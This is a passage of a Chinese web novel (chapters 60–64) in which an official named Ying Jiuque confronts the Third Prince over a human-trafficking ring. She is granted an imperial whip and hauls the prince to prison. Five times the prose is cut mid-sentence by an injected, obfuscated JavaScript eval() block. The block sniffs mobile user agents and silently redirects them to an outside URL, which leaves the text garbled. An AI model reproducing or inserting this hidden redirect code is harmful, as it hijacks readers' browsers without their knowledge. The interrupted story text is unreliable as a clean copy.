“更深露重,应大人为何会贸然上门?本皇子本来还在客厅摆了宴席,想要接待一番,谁曾想应大人竟不是来见我,而是来见我这没用的大管事。只是不知应大人找他有何事?我这大管家年老体衰,已经许久不曾掌管府中事务。你若是有什么想知道的,直接来问本殿下这个主人不更好?” 大管家立刻露出感动的表情。应九阙倒是不怎么在意这个,她只是有些奇怪。原来三皇子殿下这么重视这个大管家呀!此前好像从来没有听说过。 “深夜叨扰,还请三皇子殿下恕罪。只是我今夜前来确实有一件极重要的事情要办,您这位大管家,很不巧的被无忧洞贼子攀咬出来,说他是掌管整个无忧洞地下暗渠的贼子之首,有个诨号叫‘三公’。您也知道,我不过是个小小的六品官。奈何陛下封我为巡城御史,就是让我见到这座京城但凡有不平之事发生,立刻就要制止。您看,这无忧洞贼子都把事实证据摆在下官面前了,下官总不能置之不理吧?为了避免不必要的误会和麻烦,我才想着要把大管家带 走询问一番,咱毕竟得走个过场不是?” 三皇子闻言,脸上的表情越发难看。这个应九阙,可真够牙尖嘴利的。 只是在自己府上,难道任由她说什么是什么? “应大人,凡事都要讲究证据,你说有无忧洞贼子指认我这大管事,证据呢?总不能只凭你一面之词吧。” “这证据嘛,事关重要,请恕下官不能呈给无关之人。” 应九阙随意拨弄了一下腰间的香袋,从里面露出来小半截寸金的光芒,那是一块御赐金牌。看见这一幕的三皇子微微眯起了眼。 第六十章 毁尸灭迹 没想到这应九阙竟然真的有御赐金牌。父皇为何如此看重这个女人?难道真像朝野中猜测的那样,父皇看上了这个小小六品官?可也不对呀,虽说这个应九阙长得不丑,可也勉强只能算得上中上,还这般飞扬跋扈,出头露脸。在三皇子眼中更是连自己身边的侍女都比不上。父皇坐拥天下,见过无数美人,怎会因一个区区应九阙就停下脚步分外关注?所以这其中一定有诈。 但是有御赐金牌在前,三皇子倒还真不好将应九阙留在府中。只不过在应九阙准备大摇大摆离开的时候,三皇子却目光一转,看向了忠心耿耿的大管事。 “应大人,就算是刑部大理寺抓人也不会这般着急。赵杰连鞋子都没换好,你是不是有点儿太着急了?难道这其中有什么是本皇子不能知道的吗?” “怎么会呢?” 应九阙停下脚步看了一眼依旧不肯散开的三皇子殿下,只能短暂妥协。赵杰感激的看了一眼自己的主子,就像找到了靠山一样,慢吞吞的回到屋子里去。 就在此刻,三皇子若有所思的看了一眼应九阙怀里抱着的画轴,眼神微微一动,身边就有得力的侍女吩咐下去。很快,一个脸上带有泪痕的侍女被人追着哭喊着来到这边。甲二十三警惕的看着她,护住自己主子。 “我简直没脸活了!殿下!大人!我一个清清白白的姑娘家,凭什么要被人诬陷偷东西?这要是传出去,我以后该怎么活啊?我不活了我……” 那女子衣衫不整,看上去相当凌乱,身后还跟着一大串丫鬟婆子,潮水一般涌了过来,挤的甲二十三和乙十一简直没有下脚的地方,再加上周围三皇子府的侍卫们有意阻拦,就在这混乱之中,第一个冲过来的侍女狠狠的撞了一把应九阙,同时一把火把扔了过来,应九阙为了自保只好跳开,手中的画轴应声落地,紧接着就被一把火把点燃。 “噼里啪啦——” 看着须臾之间就被火焰覆盖住的画轴,九阙那叫一个愤怒,那双眼睛像是会喷火一般,死死的盯住三皇子,她根本不相信这场闹剧是侍女自己弄出来的,定是这座府邸的主人在搞鬼! 只是弄这样的事情有意思吗?这不是明摆着在毁尸灭迹? “殿下,您这就有点过分了吧。这么大座府邸,这几个闹事的丫鬟婆子偏偏就往我这边儿跑。不仅撞掉了我手里的东西,还刚好被点燃了,您说说,这世界上的事儿有这么巧吗?” “实在抱歉,是我府中的下人缺乏管教。” “未必如此吧?殿下。下官看着怎么像是在毁尸灭迹?且堂堂皇子府难道连盏像样的灯笼都没有?非得用火把来照亮?” 三皇子只是冷冷的看了一眼应九阙,根本不在意她这点儿小小的挑衅。此刻,九阙也察觉到了不对劲,外面闹出这么大的动静,那位说是在换鞋的大管家怎么还不出来? “十一,你去看看。那位大管家是准备今天晚上住在家里了不成?怎么还不出来?” 乙十一点了点头,只是很快就黑着脸出来。 “大人,赵杰死了。” 应九阙瞳孔一缩,简直不敢相信自己听到了什么,快速冲进去看了一眼,赵杰整个脑袋都撞碎了,根本活不成。九阙只好脸色难看的走了出来。而三皇子殿下相当淡定,看了应九阙一眼,眼中甚至还带了些许笑意。应九阙没想到对方竟然能如此理直气壮,就连跟在自己身边这么多年的大管家也能说杀就杀。 “本皇子听不懂你在说什么,且还要问问你。赵杰在府上待了这么多年都好端端的,怎么你一来他就出事?这件事是不是和你有关?是不是你方才暗中威逼利诱让他自裁?” “……殿下当真是好手段,我们走。” 亲眼看着应九阙气冲冲的带着人离开,旁边有忠心的侍卫上前一步,却被三皇子给制止了。 “跟上去看看她要去哪儿。一个空有名头的县主而已,还想跟本殿下作对,也不知道看看自己有几条命,能不能撑得住。” “可她若是进宫跟陛下告状……” 三皇子眯了眯眼,这也正是他所担忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501213|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。但是,应九阙今夜这么大摇大摆的来,沿途不知有多少人家都见到她的身影,要想封口实在是太难了。而且如果她前脚走出三皇子府,后脚就遇刺,就算是头猪也知道这事儿肯定跟自己有关。 若不是碍于父皇对她的看重,这样一个小小的六品官,他伸出一根手指就能碾死。 现在应九阙没了证据,就这么一个人一张嘴,就算进了皇宫,父皇难道会听信一个外人而不相信自己的儿子吗? 只不过在此之前…… “都给我扫的干净点儿。要是再被人发现马脚,你们都不用活了。” “是。” 三皇子轻轻抬头看了一眼漆黑的夜空,也不知道在想什么,只是片刻之后,突然发出一声冷笑,挥袖进了屋。不管怎么说,他终究都是父皇的儿子,而且这件事跟他这个三皇子有什么关系?幕后主使三公还不确定到底是不是赵杰,就算真的确定了,不过是个大管事而已,且已经死了,随时都可以抛弃。若是一个大管事不够,还有大管事的全家以及这些年来贪污所得,总能喂饱某些人的 胃口! 愤怒的应九阙出了皇子府就跨上御赐的宝马一路朝着皇宫狂奔而去,脸上的愤怒但凡长有眼睛的都能看到。且不说那些藏在路边打探消息的人家,就是身边的甲二十三几个,也都紧张的跟上,生怕应大人因为愤怒出事。 骑在马上的甲二十三还有些忐忑。大人刚刚好不容易找到的证据就这么轻而易举的被付之一炬,这换成谁谁都会生气,但现在的问题是已经没有了物证,甚至连人证都死了,就算此刻冲进宫去,只凭着大人的一面之词,陛下难道会相信吗?毕竟那可是陛下的儿子啊! 是的,就连甲二十三都明白,区区一个皇子府的大管事绝对不可能掌控纵铺整个京城的无忧洞,那位站在大管事身后的皇子殿下,才是最有可能的罪魁祸首。但这样的事实谁敢说出来? 疏不间亲的道理天下人谁都清楚,可却只有一个人胆敢站出来说不对。 大人啊…… 第六十一章 大殿对话 “你想什么呢?别跟丢了大人。” 被同伴提醒了一句,甲二十三连忙打起精神追了上去,这一路上并没人阻止,毕竟在一切乾坤未定之前率先出手,是极其愚蠢的表现。这种情况下,谁先出手谁就输了。 应九阙摸了摸怀里放着的东西,表情严肃,她可能不知道自己的脸有多么重要,至少守门的这些侍卫们把她记得牢牢的。见到应九阙这张脸,大家都有些惊讶,但很快都让开了路。这位应大人平日里进宫都是开开心心的,今天怎么这么着急?要不是身后侍卫阻拦,都要骑马进宫了。 听到通报的景泰帝叹了口气,放下手中的折子。那双幽深的眼眸望向夜空,仿佛透过这无边的夜色看到了隐藏在黑暗中的重重危险。 有些事情如果不挑明,大家确实可以彼此安安分分的度过,可一旦揭开那层遮羞布,这个世道就要乱了。他从来没想到戎马一生的自己竟然也会有下不去手的时候。可难道他装作没看见,底下一切阴暗的东西就不存在了?而此刻,即将有这么一双手,毫不顾忌的撕裂黑暗。他难道要制止? 当应九阙来到养身殿,看到熟悉的景泰帝时,原本被愤怒充斥着的胸腔突然颤了颤,此前她只是一味的气愤被这个国家供养着的皇子竟然会做出这样的事,可此刻看到生出华发的景泰帝,她心中竟然有些不忍,毕竟这些日子这位陛下对她是真的很好。 【陛下怎么一日不见竟然老了许多?我难道当真做错了吗?可如果所有人都不说,陛下就会被一直瞒着,难道陛下愿意做一个被瞒在鼓里的帝王?……我不信陛下会对自己的子民见死不救。】 心中各种念头飞速闪过,最后九阙也只是毕恭毕敬的行了个礼。 景泰帝却忍不住笑了笑,没想到这个整日在心里喊自己老皇帝的小家伙也有恭敬称呼自己的时候,只是一想到她的来意,景泰帝就忍不住皱了皱眉。如果可以,景泰帝真不愿意做那第一个掀开这层遮羞布的人。可满朝文武,都找不出来一个愿意做这挑头之人的官员。也不知道是不是自己这个皇帝做的太失败了…… “应卿,深夜前来,可有事要禀告?” “……陛下。” 深夜的大殿是如此寒凉,跪在地下的应九阙只觉得有两股寒气从膝盖骨的位置深深钻进去,随着身体的奇经八脉一直钻到心窝里。可她定了定神,还是坚定的说出了自己的选择。 “陛下,臣有要事禀报,事关无忧洞背后真凶,情况紧急,不得不深夜来报,还请陛下恕罪。” 然而这话说出来有一会儿,景泰帝却没有反应,九阙忍不住抬头望去,却看到了陛下复杂的眼神。陛下为什么这样看着自己?难道他知道了什么? 景泰帝沉默了一会儿,终于还是抬手,示意九阙继续。 于是应九阙将自己得来的所有消息都一一说出,尤其是易先生的控告。 “……那位易先生从前也是无忧洞中被拐去的一员,只是因为聪明机灵,后来渐渐摆脱了被送来送去的命运,成为了他们其中的一员。也正是因此,他窥探到了这件事中的秘辛。并且,将探来的各种秘辛,藏在了三皇子府中,那位叫赵杰的大管事屋里。” 想到接下来要说的话,九阙就觉得自己的手指似乎在微微颤抖,但很快又意识到,那并不是害怕,而是其他的什么东西,比如说,愤慨! “三皇子殿下府邸中的大管家赵杰,正是幕后黑手之一!” 这响亮的一声出来,就连一直低着头装死的九福都忍不住倒抽了一口凉气。这位应九阙应大人,她怎么敢的?难道因为只说了一句三皇子府大管家,没有提三皇子的罪证,就可以将三皇子撇到一边去?而陛下子嗣稀少,对皇子们的看重举朝皆知,应九阙圣眷正浓,何必要为了一件跟自己不相干的事情挑战陛下的权威?难道她以为这种事很容易?难道说了就能定罪? 糊涂!这只会得罪三皇子殿下,甚至得罪陛下啊! 这大好前途的,就不能为自己考虑考虑吗? 空旷的大殿里,似乎只剩下了九阙的声音,这声音清澈宏亮,就像初出茅庐的小牛犊一般,丝毫不畏惧权威,不畏惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501214|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这世上最尊贵之人! 将三皇子那形似毁尸灭迹的行为一一说出,九阙暂时安静下来,等待陛下反应。景泰帝则是顿了顿。 “所以你现在既没有人证,也没有物证?” “……是。”九阙心里一沉。 “那就奇怪了。你指控三皇子府的大管事是无忧洞幕后主使,可现在那赵杰已经死了,为何还要进宫说这一趟?” 应九阙只觉得脑中一阵嗡鸣,不知道自己该做什么反应,难道陛下不想听这样的事实? 可是,箭在弦上,不得不发,就算陛下再怎么不喜,这件事也得说出来! “陛下,赵杰虽死,但死因奇怪,臣怀疑,他是被灭口的。且,小恶虽死,可背后真凶却还活着,微臣无法置之不理。” “哦?你的意思是?” 顶着莫大的压力,九阙深吸一口气,沉稳开口。 “请陛下允臣彻查三皇子府!” 一片死寂在大殿之中蔓延,九福满头都是冷汗,只觉 得下一刻可能就要听到“拉下去砍了”之类的话,可等着等着,现场竟然越来越安静。 直到一声轻笑响起。 “应卿,查人,是要证据的,你的证据何在?” 这是最后一次挽留! 九福此刻拼命朝着应九阙眨眼,希望对方能听到自己的呼唤。然而事与愿违,一向聪明的应九阙竟然置若罔闻。 她甚至,从怀里掏出来一样薄薄的玩意儿,高呼出声! “陛下!证据在此!那些被掳走的妇女孩童,都是大景朝的子民,他们都是爹娘生养的心头肉,难道被冰冷的分成一等二等卖给有权有势的人欺辱是他们应得的吗?这次无忧洞解救出来的无辜之人,来排队领走他们的人数不胜数!甚至还有丢失了数十年之久的无辜之人家属来认领。可见这数十年来,他们依旧在苦苦等待自己的家人归来!” “陛下!” “难道要让这些无辜之人的呐喊,继续被淹没在虚假的平静之中吗?!” 第六十二章 打神鞭 “陛下!请您明察!” 【这朗朗乾坤之下,阴影无处不在,不是每个人都能见到光明,但至少,得让大家看到希望啊!】 三皇子以为已经将那幅画卷毁去,但九阙想要的,从来都不是那幅画,而是藏在画轴里的那张细帛。那东西薄如蝉翼,即使上面记满了罪证,也依旧不显眼,才能让她在众目睽睽之下,在长袖的遮掩下,将那小小的证据拿走。她又不是傻子,就两个人,怎么可能从三皇子府全身而退?可若是不能出其不意,难道客客气气的上门,三皇子会让她去一个大管事的屋里搜查?岂不是打草惊蛇。 因此,只能用这个笨法子了。 景泰帝一直都很沉默,哪怕九福已经将那卷薄薄的东西递过去,他也已经看了个清楚,那上面列着的罪证触目惊心,每日买卖的妇人儿童数量在百人以上,景泰帝捏紧了拳头,骨节啪啪作响,还是一言不发。 直到九阙用怀疑的眼神看向景泰帝,景泰帝才叹了口气。 “你可知,此案一旦爆发,你会成为众矢之的?” 那些无法无天的东西,他们不敢对自己下手,就会对应九阙下手。其实景泰帝也知道,像这样牵扯甚广的案子绝对不可能只有三皇子一人掺和其中。更何况,那些人被逼,狗急跳墙之后,不敢对着自己出手,难道还不敢对着应九阙出手吗?她又有什么呢?有自己的信重?有县主的爵位?有个六品小官儿的官位? 这些又有什么用呢? 那些有权力的人才不会管这些,在他们看来,这些都是虚假的玩意儿,只有真真正正掌握在手里的东西,才能让他们能够一世无忧。而这个傻孩子有什么呢?他只有一些虚名而已。 “孩子,你真的想好了吗?你真的已经准备好面对即将到来的风雨了吗?你要明白,你状告的那些人有些是我重用多年的臣子,有的是我的亲生儿子,就连我,都无法保证在周围人的劝说之下不会对你下手。毕竟三人成虎,众口铄黄金。如果你就此打住,无边的希望快乐和幸福将会稳定的围绕着你。而这一切只需要你放弃一点点,真的只需要放弃一点点。毕竟那些人和你毫无关系,不是吗?” “我知道有很多人,很多年轻人他们都有着美好的愿望,想要做这世间鼎鼎有名的清官,可做一个清官的代价实在太大,你很有可能会众叛亲离。你的朋友,你现在所拥有的一切都有可能会消失。这些都是你需要考虑的现实问题,而这些,只有理想是不够的。” 曾几何时,景泰帝也有这样的梦想,他想做这世间最好最公平的帝王。他要把这世间所有的百姓都当成自己的孩子一样对待,不让他们受自己曾经受过的苦。可是渐渐的,那些在他眼里有着具体形象的百姓们,渐渐化成了一个模糊的词汇。把它当成口号喊在嘴边很容易做到,可真正能设身处地为他们着想的时候却越来越少,越来越少,一直到现在,他已有些记不清当时一起当黔首时的伙伴模样了。 正是因为知道这些,所以,他才想最后阻止一下这个孩子,这个孩子,和当初的他,多么相似啊。 可也正是因为如此,景泰帝心中隐隐有个猜想,那就是…… “多谢陛下厚爱!九阙,无悔!” 果然,意料之中的答案仿佛有一柄重锤从天而降,砸在景泰帝心上,这个孩子和自己是多么的相似,所以她绝对不会退缩,永远不会害怕。 “唉,就知道你会这么说……你这孩子,就是太过心软。罢了罢了,既然你都这么努力把此事摆到明面上,我又怎能拖你的后腿?更何况此事我已经关注许久,你这份证据,至关重要。只是,九阙啊,你得明白一件事,开弓没有回头箭,既然你选择站出来挑起这件事,就绝对不能半途而废。一旦中间退缩,等待你的将会是铺天盖地的报复。甚至,你有可能与整个朝堂为敌!” 九阙愣了许久。她甚至觉得自己的眼眶热热的,鼻子也有些发堵。她知道景泰帝是个好皇帝,也知道景泰帝对年轻的臣子很是宽容,但她依旧没想到,陛下会对自己如此纵容,是的,这毫无疑问已经到了纵容的地步。 响亮的抽了抽鼻子,九阙深吸一口气,重重点头。 “好!” 景泰帝一声喝彩,吓得旁边的九福都不知道该用什么样的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501215|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来面对这一老一少了。敢情他刚刚担心成那个样子,原来这两人都是在互相试探,并不是真的生气啊。唉,真是让他这个老家伙操碎了心…… “应九阙听命!” “微臣在!” “朕命你主审‘无忧洞’一案,将幕后黑手缉拿归案!无论王公贵族,世家大臣,但凡有嫌疑者,皆可拘来询问。” “陛下,敢问皇子们也一视同仁吗?” “自然!” 景泰帝哈哈大笑,命令九福将早已准备好的九节鞭拿来。 “上打王公贵族,下打贪官污吏,这把打神鞭,就赐你了。望你在此次案件之中能不忘初心,还百姓一个清明公道。” “是!” 九阙只觉得心潮澎湃,方才所有的疑问和不满都在此刻化为了激动与崇拜。她经常看到一些原本刚正不阿的父母在遇到有关自己孩子的问题时 ,会转变态度。毕竟有句话叫可怜天下父母心。九阙当然不认为这样是对的。可真正能跳出父母子女关系,公平公正对待事情的人又有多少呢? 更何况陛下还是这个天下的主人。只要他不开口,这世界上所有人都会默默的当做这件事情不存在。可他并没有选择自欺欺人,反而给予了九阙这么大的权力,就为了一个真相。 【没想到陛下还真是个好人啊!嘿嘿嘿,说不定能成为千古一帝啊……】 景泰帝的脸色先是一黑,又是一红,这孩子,怎么能这么夸他?夸的他都有点儿不好意思了。 “行了,想做什么就去做吧,朕给你两队金甲卫,有他们助阵,不管想查询谁,都会方便许多。” “多谢陛下!” 九阙美滋滋的捧着那金子做成的打神鞭走了出去。景泰帝在身后目瞪口呆的看着,不是,这打神鞭可是通体黄金所制,沉的不得了,刚刚还是好几个内侍把它抬上来的。这孩子就这么轻轻松松的捧起来走了?她的力气到底是有多大啊? 就连九福都看呆了。但他很快就为九阙找了理由,毕竟是能研制出霹雳火那样武器的大才,这点儿本领,轻轻松松啦。 第六十三章 带走! 不仅仅是景泰帝惊呆了,等在外面的甲二十三和乙十一几个也都纷纷看呆了,不是,大人就这么轻轻松松的捧着打神鞭出来了?更让人震惊的是陛下竟然也同意? 那他们来之前担忧的那些陛下会对大人下手,甚至会迁怒大人,说不定还会来个斩立决的事情,岂不像是个笑话一样? 但不得不说的是,大家都忍不住松了口气,看来这件事是到此为止了。只是接下来看着规规矩矩跟在大人身后的两队金甲卫,几个暗卫还是忍不住瞪大了眼睛。 “大人?” 应九阙送给他们一个灿烂的笑脸,拿起打神鞭直指兰芝街! “走!奉陛下之命,彻查无忧洞之事!先去三皇子府!” 在一众掉了下巴的注视下,应九阙笑眯眯的带人直冲三皇子府。今天晚上整条街,甚至更远些的人家注定会睡不着觉。有了应九阙之前那一闹,谁还有心思去睡觉呀?更何况过了不多时,那个杀神竟然又杀回来了。 不仅气势汹汹的,甚至身后还带了陛下所属的金甲卫,再看看那女人手里拎着的通体灿金色的东西,那不是打神鞭吗?这玩意儿可是有大来历的。据说是当初前朝末帝的父皇赐给前朝宰相,让他来教导不成器的儿子的。当然了,后来的事情大家也都知道了,事实证明一个人如果愚蠢不成才,那么再怎么打骂也是不会成才的。前朝末地还是把整个天下给败光了,但是那把打神鞭也被天下所知。毕竟前朝宰相可是彪悍的用那把打神鞭直接砸碎了前朝末帝亲舅舅的脑袋! 所以陛下给她这玩意儿到底是什么意思?而且那个女人,那位应县主应大人,她直勾勾的奔着三皇子府去了! 原本守门的侍卫见到应九阙去而复返脸色已经相当难看。当看到她身后跟着的那些凶神恶煞的金甲卫之后,却吓得不敢再多说一个字,谁都知道金甲卫是陛下专属亲卫。现在连金甲卫都跟在这个女人身后,难道是陛下同意她来查封三皇子府了?不是,他们家三皇子不是陛下器重的儿子吗?怎么这么快就变了? “开门,请三皇子出来一见。” 府中的三皇子听到这动静恨的牙痒痒。但这里面有他当皇帝的老爹派来的人,也就说明陛下对这件事也是认可的,他再厉害还能违抗自己的皇帝爹不成? 打开府门,看着骑在高头大马上的女人,三皇子不得不承认,自己终日打雁,却被雁啄了眼睛。这个女人当真有些本事。 “应大人,不知去而复返,有何指教?” “三皇子殿下,微臣这里有桩案件需要您的帮助,还请您跟微臣走一趟吧。” “……这是父皇的意思?” “陛下让我全权处理这件事,现下只是把有嫌疑的人带回去询问。” “哦?你打算把我弄到哪里去啊?宗人府?还是大理寺?” “刑部。” “你敢!” “还请殿下恕罪,这是微臣职责所在,且只是去问问话,不会多做什么,等洗清了嫌疑之后,您就可以回来了。” “……” 三皇子盯着应九阙看了许久,最终给出了一句评价。 “应九阙,你真是个疯子!” 只有疯子才会不顾及自己的安危,不顾及自己日后的官途把他这个皇子带走,难道真以为拿了个打神鞭就可以无法无天了吗? 这根打神鞭是父皇赐下来的,而父皇年纪大了,他还能活多长时间呢?日后哪怕不是他,是其他的兄弟登基,他们也会把拥有这打神鞭的人视作眼中钉,肉中刺。毕竟又有哪个皇帝愿意有人站在身后虎视眈眈的盯着自己,随时随地找自己的错误? 这根本不可能。 可是应九阙硬是不在意。她只是伸出手,十分有礼貌的探了探。 “殿下,请您跟我来吧。” 三皇子最终也没法子,只能跟着应九阙离开,只是这一幕落在其他人眼里却仿佛天上雷霆劈下来一样,几乎要把他们给震死。 这个应九阙当真是好大的胆子,竟然敢把三皇子殿下带走问话。但更让人震惊的是,陛下竟然同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501216|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意应九阙的做法,甚至还把打神鞭赐给了她! 一时间整个京城都躁动起来,即便还在深夜,可一道道讯息却在各个府邸来回穿梭。 当把三皇子带到刑部的时候,所有出来迎接的刑部官员都惊讶的瞪大了眼睛。尤其是刑部左侍郎,他简直不敢相信自己的眼睛,甚至还拼命揉了揉。 那位被带回来的是三皇子殿下吗?还是他已经老眼昏花到这种地步,连人都分不清了? 当发现那是真的皇子殿下后,这位左侍郎看着应九阙的表情简直像在瞻仰神灵。这才是官场中的前辈啊,竟然连皇子都能弄到刑部来审问,日后必定会名垂青史。只不过这位应大人能不能活到那个时候就不一定了。 “殿下,您这边请。” 虽说把三皇子带回来询问,可毕竟不能真的把他当成犯人,因此对于刑部左侍郎略显谄媚的行为,九阙也并没有吭声。 她只有一个要求,那就是带着三皇子从牢中穿过,必须要经过易先生的牢房。 三皇子本来并不答应,但看了看应九阙随意挥舞的打神 鞭,还是决定暂且屈从,毕竟能屈能伸的才是大丈夫。 只不过这刑部大牢当真污秽不堪,也不知道多久没有收拾过了,气味刺鼻的很。三皇子可是天皇贵胄,就算当初父皇没有登基的时候,也没有见过这种肮脏的场面。捂住口鼻,略显狼狈的从牢中穿行而过,而原本挂在架子上奄奄一息的易先生在得到提醒之后,一抬眼就见到了那形容狼狈的皇子,那双原本暗沉的双眼顿时像点亮的明星,爆出两团耀眼的光芒。 居然是真的,高高在上的皇子竟然也会被压到这肮脏黑暗的牢中! 那个应九阙!应九阙!她竟然真的做到了!她没有骗自己,也就是说,这么多年的夙愿,终于有可以完成的时候了! 他要报仇,他要报仇! “哗啦啦!” 把身上的链子甩的哗哗作响,易先生用嘶哑的喉咙呐喊。 “应九阙!我要找应九阙!” 第六十四章 铁链子碰撞在一起哗啦啦的声音在空荡荡的牢房里不断回荡,引起了路过三皇子的注意,他回头看了一眼,只模糊看到那是一个被挂在架子上血淋淋的人影,正朝着自己不断嘶吼,不禁皱眉,那是个什么肮脏玩意儿?喊什么呢? 只是他还没来得及回头询问,就被身后的侍卫簇拥着往前方走去,他这辈子还从来没有过如此狼狈的时候,不过是一群低贱的侍卫,竟然也敢这么对自己?! 不禁又看了一眼应九阙,正是因为有她的存在,才会叫自己这般狼狈不堪! 牙齿磨的咯吱作响,三皇子将应九阙那张脸死死记在心里,已经在暗暗盘算着该如何把她调走,让他消失在父皇的视线里,难道等过了一段时日,父皇还会记得这个人吗?一旦被上位者遗忘,就算她惨死家中又有谁会在意?更何况满朝上下又不止自己一个人对应九阙不满。 一个女人乖乖待在后宅,在自己应在的位置里过一辈子也就算了,偏偏要跳出来跟男人们争权夺利,哪怕他们这些男人之间斗的你死我活,也绝对不会将位置让给一个女人。 妄想着不属于自己的东西,结局只有一个死。 刑部左侍郎一路点头哈腰的将三皇子送到一间整洁干净的单间牢房,一回头却发现应九阙不见了。嘿,这位大人可真是奇怪,好不容易把三皇子殿下压到牢房里,自己却不见了,难道是想让自己替他承担三皇子殿下的怒火? 这可不行啊?他只是一个小官儿而已,得自保。没了官位事小,他总得保全自己的妻儿老小吧。于是在三皇子殿下面无表情的注视下,这位刑部左侍郎简直穷尽了自己此生所有的华美词藻,那叫一个拍马屁。 而应九阙此刻站在易先生面前,被他用一种恐怖的眼神从上到下的打量着,总觉得很奇怪。 “你有什么要说的?” “……哈哈哈哈哈——” 易先生没说话,只是发出了一连串的大笑声,笑的九阙一头雾水。这人失心疯了? “不,我没疯,我只是没想到,这世上竟然真有一个官愿意替我这种平民做主。” “你想的太极端了,朝中应该有很多这样的官员吧,只是你没遇到而已。” “或许是这样吧,但是这么多年,我从来没有遇到过一个愿意伸出援手的官员。” 易先生也不知是不是在自嘲,说了这么一句话之后就冷静的看着应九阙。 “你应该能猜到我这些年的经历吧?如果不是放下自尊曲意奉迎,我早不知道被埋在谁家后院里做花泥了。不过也正是因为这段经历,我知晓许多秘辛,包括你现在最想知道的,无忧洞背后到底还有谁。” 九阙眉眼微微一动,警惕的看着对面血淋淋的人。 “你愿意告诉我?” “当然!并且没有任何代价。我只希望你能秉公执法,将这些幕后之人全都抓起来!” 易先生整个人似乎都在发光,尤其是他的眼睛,迸射出来的光芒简直能刺伤别人。他确实不是个好人,为了活下去做了很多违心的事。就像应九阙所说的那样,他自己已经陷入污秽,却还要拖无辜之人下水。刚开始的时候他还会觉得愧疚,可是渐渐的,那颗心已经在污泥之中变得麻木。 本以为自己会这样死去,可没想到临死之前还能遇到应九阙这朵盛世奇葩。不管怎么样都是个死,不如拉更多人下水。尤其是那些身居高位,将本应该被自己保护的子民肆意买卖的官员!在那段生不如死的日子里,他牢牢记住了所有人的脸。那时候其实他也不知道自己为什么要记住那些人的姓名和脸,因为他根本没有能力为自己为那些死去的人报仇。 可时至今日,回首自己那荒唐可笑的一生,或许那就是为了今日。 以一介贱民之身,将那些高高在上的人拉下来,这该多么痛快啊!他简直不敢想象,只要一想就觉得浑身发抖,激动到颤栗! 九阙盯着他的眼睛看了许久,确定他没有说谎,点了点头。本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501217|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来她执意将三皇子带到刑部大牢就是为了撬开易先生的嘴,因为她根本不信这件事只有三皇子一人插手。地下暗渠存在这么多年,三皇子跟着景泰帝来到这座皇城的时候,不过才十岁左右,一个孩子,他能做得了这样拐卖人口的大案? 退一步说,三皇子是从别人手中接过无忧洞这桩‘大买卖’,那么到底是谁传给他的?这期间牵连的人又有多少个? 如果只把三皇子查出来,根本没有意义啊,因为这个地下组织依旧还会运行,说不定他们转头又去攀上另外一个王公贵族了呢。毕竟拐卖人口所带来的利益实在是太大了,而这世上天生有一些人,面对巨大的利益时,会丧失掉人应该有的所有道德法律观念。这些人已经习惯了高回报,泯灭了良知,就算让他们金盆洗手,绝大多数也改不过来。 只有把这个组织连根拔起,才不会有越来越多的无辜之人被拐卖,被迫离开自己的亲人。 “把他放下。” 低声吩咐了一句,甲二十三走过去,将皮开肉绽的易先生放了下来。本来应九阙还想给他治疗一番再行询问,免得在问的过程中他嘎嘣一下死了,可没想到,易先生竟然比自己还急 。 “笔墨纸砚呢?快给我!我现在就写下来!” 九阙皱了皱眉。 